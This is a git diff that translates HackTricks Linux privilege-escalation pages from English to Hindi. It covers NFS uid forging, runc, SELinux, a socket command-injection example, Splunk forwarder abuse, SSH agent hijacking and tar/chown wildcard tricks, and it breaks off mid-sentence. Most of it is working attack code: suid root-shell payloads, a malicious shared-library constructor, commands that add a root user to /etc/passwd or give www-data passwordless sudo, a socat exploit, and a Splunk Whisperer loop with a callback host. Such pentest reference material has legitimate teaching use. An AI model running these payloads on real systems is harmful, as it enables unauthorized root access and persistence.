you will need to **abuse this trick**.\ -> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +> ध्यान दें कि यदि आप अपने मशीन से पीड़ित मशीन तक **एक टनल बना सकते हैं तो आप इस विशेषाधिकार वृद्धि का शोषण करने के लिए रिमोट संस्करण का उपयोग कर सकते हैं**।\ +> निम्नलिखित ट्रिक उस स्थिति में है जब फ़ाइल `/etc/exports` **एक IP को इंगित करती है**। इस मामले में आप **किसी भी स्थिति में** **रिमोट शोषण** का उपयोग नहीं कर पाएंगे और आपको **इस ट्रिक का दुरुपयोग करना होगा**।\ +> शोषण के काम करने के लिए एक और आवश्यक शर्त यह है कि **`/etc/export` के अंदर का निर्यात** **`insecure` फ्लैग का उपयोग कर रहा होना चाहिए**।\ +> --_मुझे यकीन नहीं है कि यदि `/etc/export` एक IP पते को इंगित कर रहा है तो यह ट्रिक काम करेगी_-- ## Basic Information -The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls. +परिदृश्य में एक स्थानीय मशीन पर एक माउंटेड NFS शेयर का शोषण करना शामिल है, NFSv3 विनिर्देशन में एक दोष का लाभ उठाते हुए जो क्लाइंट को अपने uid/gid को निर्दिष्ट करने की अनुमति देता है, संभावित रूप से अनधिकृत पहुंच सक्षम करता है। शोषण में [libnfs](https://github.com/sahlberg/libnfs) का उपयोग शामिल है, जो NFS RPC कॉल के forging की अनुमति देने वाली एक लाइब्रेरी है। ### Compiling the Library -The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands: - +लाइब्रेरी संकलन चरणों में कर्नेल संस्करण के आधार पर समायोजन की आवश्यकता हो सकती है। इस विशेष मामले में, fallocate syscalls को टिप्पणी की गई थी। संकलन प्रक्रिया में निम्नलिखित कमांड शामिल हैं: ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### एक्सप्लॉइट करना -### Conducting the Exploit +एक्सप्लॉइट में एक सरल C प्रोग्राम (`pwn.c`) बनाना शामिल है जो रूट के लिए विशेषाधिकार बढ़ाता है और फिर एक शेल निष्पादित करता है। प्रोग्राम को संकलित किया जाता है, और परिणामी बाइनरी (`a.out`) को suid रूट के साथ शेयर पर रखा जाता है, RPC कॉल में uid को फेक करने के लिए `ld_nfs.so` का उपयोग किया जाता है: -The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls: +1. **एक्सप्लॉइट कोड संकलित करें:** -1. **Compile the exploit code:** +```bash +cat pwn.c +int main(void){setreuid(0,0); system("/bin/bash"); return 0;} +gcc pwn.c -o a.out +``` - ```bash - cat pwn.c - int main(void){setreuid(0,0); system("/bin/bash"); return 0;} - gcc pwn.c -o a.out - ``` +2. **शेयर पर एक्सप्लॉइट रखें और uid को फेक करके इसकी अनुमतियों को संशोधित करें:** -2. **Place the exploit on the share and modify its permissions by faking the uid:** +```bash +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out +``` - ```bash - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out - ``` +3. **रूट विशेषाधिकार प्राप्त करने के लिए एक्सप्लॉइट निष्पादित करें:** +```bash +/mnt/share/a.out +#root +``` -3. **Execute the exploit to gain root privileges:** - ```bash - /mnt/share/a.out - #root - ``` - -## Bonus: NFShell for Stealthy File Access - -Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues: +## बोनस: NFShell के लिए छिपे हुए फ़ाइल एक्सेस +एक बार रूट एक्सेस प्राप्त होने के बाद, स्वामित्व को बदले बिना NFS शेयर के साथ इंटरैक्ट करने के लिए (निशान छोड़ने से बचने के लिए), एक Python स्क्रिप्ट (nfsh.py) का उपयोग किया जाता है। यह स्क्रिप्ट uid को उस फ़ाइल के uid से मेल खाने के लिए समायोजित करती है जिसे एक्सेस किया जा रहा है, जिससे शेयर पर फ़ाइलों के साथ बिना अनुमति की समस्याओं के इंटरैक्शन की अनुमति मिलती है: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -104,23 +97,20 @@ import sys import os def get_file_uid(filepath): - try: - uid = os.stat(filepath).st_uid - except OSError as e: - return get_file_uid(os.path.dirname(filepath)) - return uid +try: +uid = os.stat(filepath).st_uid +except OSError as e: +return get_file_uid(os.path.dirname(filepath)) +return uid filepath = sys.argv[-1] uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -Run like: - +जैसे चलाएँ: ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 37626a2de..f26a8ee99 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -3,20 +3,17 @@ {{#include ../../banners/hacktricks-training.md}} ## Bash - ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` - ## C - ```c //gcc payload.c -o payload int main(void){ - setresuid(0, 0, 0); //Set as user suid user - system("/bin/sh"); - return 0; +setresuid(0, 0, 0); //Set as user suid user +system("/bin/sh"); +return 0; } ``` @@ -27,9 +24,9 @@ int main(void){ #include int main(){ - setuid(getuid()); - system("/bin/bash"); - return 0; +setuid(getuid()); +system("/bin/bash"); +return 0; } ``` @@ -40,42 +37,38 @@ int main(){ #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - const int id = 1000; - setresuid(id, id, id); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +const int id = 1000; +setresuid(id, id, id); +execve(paramList[0], paramList, NULL); +return 0; } ``` +## विशेषाधिकार बढ़ाने के लिए फ़ाइल को ओवरराइट करना -## Overwriting a file to escalate privileges +### सामान्य फ़ाइलें -### Common files +- _/etc/passwd_ में पासवर्ड के साथ उपयोगकर्ता जोड़ें +- _/etc/shadow_ के अंदर पासवर्ड बदलें +- _/etc/sudoers_ में sudoers में उपयोगकर्ता जोड़ें +- आमतौर पर _/run/docker.sock_ या _/var/run/docker.sock_ में docker सॉकेट के माध्यम से docker का दुरुपयोग करें -- Add user with password to _/etc/passwd_ -- Change password inside _/etc/shadow_ -- Add user to sudoers in _/etc/sudoers_ -- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### एक पुस्तकालय को ओवरराइट करना +कुछ बाइनरी द्वारा उपयोग की जाने वाली पुस्तकालय की जांच करें, इस मामले में `/bin/su`: ```bash ldd /bin/su - linux-vdso.so.1 (0x00007ffef06e9000) - libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) - libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) - libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) - libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) - /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) +linux-vdso.so.1 (0x00007ffef06e9000) +libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) +libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) +libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) +libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) +libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) +/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +इस मामले में हम `/lib/x86_64-linux-gnu/libaudit.so.1` की नकल करने की कोशिश करते हैं।\ +तो, **`su`** बाइनरी द्वारा उपयोग की जाने वाली इस पुस्तकालय के कार्यों की जांच करें: ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +संकेत `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` और `audit_fd` संभवतः libaudit.so.1 पुस्तकालय से हैं। चूंकि libaudit.so.1 को दुर्भावनापूर्ण साझा पुस्तकालय द्वारा अधिलेखित किया जाएगा, ये संकेत नए साझा पुस्तकालय में मौजूद होने चाहिए, अन्यथा कार्यक्रम संकेत को नहीं ढूंढ पाएगा और समाप्त हो जाएगा। ```c #include #include @@ -102,34 +93,27 @@ void inject()__attribute__((constructor)); void inject() { - setuid(0); - setgid(0); - system("/bin/bash"); +setuid(0); +setgid(0); +system("/bin/bash"); } ``` +अब, केवल **`/bin/su`** कॉल करके आप रूट के रूप में एक शेल प्राप्त करेंगे। -Now, just calling **`/bin/su`** you will obtain a shell as root. +## स्क्रिप्ट -## Scripts - -Can you make root execute something? - -### **www-data to sudoers** +क्या आप रूट को कुछ निष्पादित करने के लिए मजबूर कर सकते हैं? +### **www-data को sudoers में** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` - -### **Change root password** - +### **रूट पासवर्ड बदलें** ```bash echo "root:hacked" | chpasswd ``` - -### Add new root user to /etc/passwd - +### /etc/passwd में नया रूट उपयोगकर्ता जोड़ें ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e54915fa9..524ac7d05 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -4,7 +4,7 @@ ## Basic information -If you want to learn more about **runc** check the following page: +यदि आप **runc** के बारे में अधिक जानना चाहते हैं तो निम्नलिखित पृष्ठ देखें: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page: ## PE -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. - +यदि आप पाते हैं कि `runc` होस्ट में स्थापित है, तो आप **होस्ट के रूट / फ़ोल्डर को माउंट करते हुए एक कंटेनर चला सकते हैं**। ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder Inside the "mounts" section of the create config.json add the following lines: { - "type": "bind", - "source": "/", - "destination": "/", - "options": [ - "rbind", - "rw", - "rprivate" - ] +"type": "bind", +"source": "/", +"destination": "/", +"options": [ +"rbind", +"rw", +"rprivate" +] }, #Once you have modified the config.json file, create the folder rootfs in the same directory @@ -37,8 +36,7 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - > [!CAUTION] -> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +> यह हमेशा काम नहीं करेगा क्योंकि runc का डिफ़ॉल्ट ऑपरेशन रूट के रूप में चलाना है, इसलिए इसे एक अप्रिविलेज्ड उपयोगकर्ता के रूप में चलाना बस काम नहीं कर सकता (जब तक आपके पास एक रूटलेस कॉन्फ़िगरेशन न हो)। रूटलेस कॉन्फ़िगरेशन को डिफ़ॉल्ट बनाना आमतौर पर एक अच्छा विचार नहीं है क्योंकि रूटलेस कंटेनरों के अंदर कुछ प्रतिबंध हैं जो रूटलेस कंटेनरों के बाहर लागू नहीं होते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 548f3d785..53cc4cdcb 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -1,13 +1,12 @@ {{#include ../../banners/hacktricks-training.md}} -# SELinux in Containers +# कंटेनरों में SELinux -[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +[परिचय और redhat दस्तावेज़ से उदाहरण](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) एक **लेबलिंग** **सिस्टम** है। प्रत्येक **प्रक्रिया** और प्रत्येक **फाइल** सिस्टम ऑब्जेक्ट का एक **लेबल** होता है। SELinux नीतियाँ यह निर्धारित करती हैं कि **प्रक्रिया लेबल को सिस्टम पर अन्य सभी लेबल के साथ क्या करने की अनुमति है**। +कंटेनर इंजन **एकल सीमित SELinux लेबल** के साथ **कंटेनर प्रक्रियाएँ लॉन्च करते हैं**, आमतौर पर `container_t`, और फिर कंटेनर के अंदर कंटेनर को `container_file_t` लेबल करने के लिए सेट करते हैं। SELinux नीति नियम मूल रूप से कहते हैं कि **`container_t` प्रक्रियाएँ केवल `container_file_t` लेबल वाली फ़ाइलों को पढ़/लिख/निष्पादित कर सकती हैं**। यदि एक कंटेनर प्रक्रिया कंटेनर से बाहर निकलती है और होस्ट पर सामग्री को लिखने का प्रयास करती है, तो Linux कर्नेल पहुँच को अस्वीकार कर देता है और केवल कंटेनर प्रक्रिया को `container_file_t` लेबल वाली सामग्री को लिखने की अनुमति देता है। ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -15,9 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# SELinux उपयोगकर्ता -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. +SELinux उपयोगकर्ता नियमित Linux उपयोगकर्ताओं के अतिरिक्त होते हैं। SELinux उपयोगकर्ता एक SELinux नीति का हिस्सा होते हैं। प्रत्येक Linux उपयोगकर्ता को नीति के हिस्से के रूप में एक SELinux उपयोगकर्ता से मैप किया जाता है। यह Linux उपयोगकर्ताओं को SELinux उपयोगकर्ताओं पर लगाए गए प्रतिबंधों और सुरक्षा नियमों और तंत्रों को विरासत में लेने की अनुमति देता है। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 3b5a9002d..f76de09b3 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,9 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -## Socket binding example with Python - -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +## Python के साथ सॉकेट बाइंडिंग उदाहरण +निम्नलिखित उदाहरण में एक **यूनिक्स सॉकेट बनाया गया है** (`/tmp/socket_test.s`) और जो कुछ भी **प्राप्त** होता है वह `os.system` द्वारा **निष्पादित** किया जाएगा। मुझे पता है कि आप इसे वास्तविक जीवन में नहीं पाएंगे, लेकिन इस उदाहरण का लक्ष्य यह देखना है कि यूनिक्स सॉकेट का उपयोग करने वाला कोड कैसा दिखता है, और सबसे खराब स्थिति में इनपुट को कैसे प्रबंधित किया जाए। ```python:s.py import socket import os, os.path @@ -11,34 +10,29 @@ import time from collections import deque if os.path.exists("/tmp/socket_test.s"): - os.remove("/tmp/socket_test.s") +os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: - server.listen(1) - conn, addr = server.accept() - datagram = conn.recv(1024) - if datagram: - print(datagram) - os.system(datagram) - conn.close() +server.listen(1) +conn, addr = server.accept() +datagram = conn.recv(1024) +if datagram: +print(datagram) +os.system(datagram) +conn.close() ``` - -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +**कोड को चलाएँ** python का उपयोग करते हुए: `python s.py` और **जाँच करें कि सॉकेट कैसे सुन रहा है**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) +will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` - -**Exploit** - +**शोषण** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 11d4253c5..015c76c4a 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,52 +1,50 @@ -# Splunk LPE and Persistence +# Splunk LPE और स्थिरता {{#include ../../banners/hacktricks-training.md}} -If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +यदि आप किसी मशीन को **आंतरिक** या **बाहरी** रूप से **सूचीबद्ध** करते हैं और आपको **Splunk चलाते हुए** (पोर्ट 8090) मिलता है, यदि आपको किसी **मान्य क्रेडेंशियल** के बारे में पता है, तो आप **Splunk सेवा का दुरुपयोग** करके **एक शेल** को उस उपयोगकर्ता के रूप में **निष्पादित** कर सकते हैं जो Splunk चला रहा है। यदि रूट इसे चला रहा है, तो आप रूट तक विशेषाधिकार बढ़ा सकते हैं। -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +यदि आप **पहले से ही रूट हैं और Splunk सेवा केवल लोकलहोस्ट पर सुन नहीं रही है**, तो आप **Splunk सेवा से** **पासवर्ड** फ़ाइल **चुरा सकते हैं** और पासवर्ड को **क्रैक** कर सकते हैं, या इसमें **नए** क्रेडेंशियल **जोड़ सकते हैं**। और होस्ट पर स्थिरता बनाए रख सकते हैं। -In the first image below you can see how a Splunkd web page looks like. +नीचे पहले चित्र में आप देख सकते हैं कि एक Splunkd वेब पृष्ठ कैसा दिखता है। -## Splunk Universal Forwarder Agent Exploit Summary +## Splunk यूनिवर्सल फॉरवर्डर एजेंट एक्सप्लॉइट सारांश -For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary: +अधिक विवरण के लिए पोस्ट देखें [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). यह केवल एक सारांश है: -**Exploit Overview:** -An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. +**एक्सप्लॉइट अवलोकन:** +Splunk यूनिवर्सल फॉरवर्डर एजेंट (UF) को लक्षित करने वाला एक एक्सप्लॉइट हमलावरों को एजेंट पासवर्ड के साथ एजेंट चलाने वाले सिस्टम पर मनमाना कोड निष्पादित करने की अनुमति देता है, जिससे पूरे नेटवर्क का समझौता हो सकता है। -**Key Points:** +**मुख्य बिंदु:** -- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. -- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. -- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. +- UF एजेंट आने वाले कनेक्शनों या कोड की प्रामाणिकता को मान्य नहीं करता है, जिससे यह अनधिकृत कोड निष्पादन के लिए संवेदनशील हो जाता है। +- सामान्य पासवर्ड अधिग्रहण विधियों में उन्हें नेटवर्क निर्देशिकाओं, फ़ाइल शेयरों, या आंतरिक दस्तावेज़ों में ढूंढना शामिल है। +- सफल दुरुपयोग से समझौता किए गए होस्ट पर SYSTEM या रूट स्तर की पहुंच, डेटा निकासी, और आगे के नेटवर्क में घुसपैठ हो सकती है। -**Exploit Execution:** +**एक्सप्लॉइट निष्पादन:** -1. Attacker obtains the UF agent password. -2. Utilizes the Splunk API to send commands or scripts to the agents. -3. Possible actions include file extraction, user account manipulation, and system compromise. +1. हमलावर UF एजेंट पासवर्ड प्राप्त करता है। +2. एजेंटों को आदेश या स्क्रिप्ट भेजने के लिए Splunk API का उपयोग करता है। +3. संभावित क्रियाओं में फ़ाइल निकासी, उपयोगकर्ता खाता हेरफेर, और सिस्टम का समझौता शामिल है। -**Impact:** +**प्रभाव:** -- Full network compromise with SYSTEM/root level permissions on each host. -- Potential for disabling logging to evade detection. -- Installation of backdoors or ransomware. - -**Example Command for Exploitation:** +- प्रत्येक होस्ट पर SYSTEM/रूट स्तर की अनुमतियों के साथ पूर्ण नेटवर्क समझौता। +- पहचान से बचने के लिए लॉगिंग को अक्षम करने की संभावना। +- बैकडोर या रैनसमवेयर की स्थापना। +**दुरुपयोग के लिए उदाहरण आदेश:** ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` - -**Usable public exploits:** +**उपयोगी सार्वजनिक एक्सप्लॉइट:** - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://www.exploit-db.com/exploits/46238 - https://www.exploit-db.com/exploits/46487 -## Abusing Splunk Queries +## Splunk क्वेरी का दुरुपयोग -**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** +**अधिक जानकारी के लिए पोस्ट देखें [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 774e13999..5cbae2eec 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,30 +1,26 @@ {{#include ../../banners/hacktricks-training.md}} -# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: +# सारांश +यदि आप `/etc/ssh_config` या `$HOME/.ssh/config` कॉन्फ़िगरेशन के अंदर यह खोजते हैं: ``` ForwardAgent yes ``` +यदि आप मशीन के अंदर रूट हैं, तो आप शायद **किसी भी एजेंट द्वारा बनाए गए किसी भी ssh कनेक्शन तक पहुँच सकते हैं** जिसे आप _/tmp_ निर्देशिका में पा सकते हैं। -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +बॉब के ssh-agent में से एक का उपयोग करके बॉब का अनुकरण करें: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## यह काम क्यों करता है? -## Why does this work? +जब आप वेरिएबल `SSH_AUTH_SOCK` सेट करते हैं, तो आप बॉब की उन कुंजियों तक पहुँच रहे हैं जो बॉब के ssh कनेक्शन में उपयोग की गई थीं। फिर, यदि उसकी निजी कुंजी अभी भी वहाँ है (सामान्यतः यह होगी), तो आप इसका उपयोग करके किसी भी होस्ट तक पहुँच सकते हैं। -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +चूंकि निजी कुंजी एजेंट की मेमोरी में अनक्रिप्टेड रूप में सहेजी जाती है, मैं मानता हूँ कि यदि आप बॉब हैं लेकिन आपको निजी कुंजी का पासवर्ड नहीं पता है, तो आप अभी भी एजेंट तक पहुँच सकते हैं और इसका उपयोग कर सकते हैं। -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +एक और विकल्प यह है कि एजेंट के मालिक उपयोगकर्ता और रूट एजेंट की मेमोरी तक पहुँच सकते हैं और निजी कुंजी को निकाल सकते हैं। -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# लंबा विवरण और शोषण -# Long explanation and exploitation - -**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)** +**[मूल शोध यहाँ देखें](https://www.clockwork.com/insights/ssh-agent-hijacking/)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index d497174d6..4a43f4e81 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,71 +2,59 @@ ## chown, chmod -You can **indicate which file owner and permissions you want to copy for the rest of the files** - +आप **यह संकेत कर सकते हैं कि आप बाकी फाइलों के लिए कौन सा फाइल मालिक और अनुमतियाँ कॉपी करना चाहते हैं** ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(संयुक्त हमला)_ का उपयोग करके शोषण कर सकते हैं।\ +अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) पर जाएं। ## Tar -**Execute arbitrary commands:** - +**मनमाने आदेश निष्पादित करें:** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +आप इसे 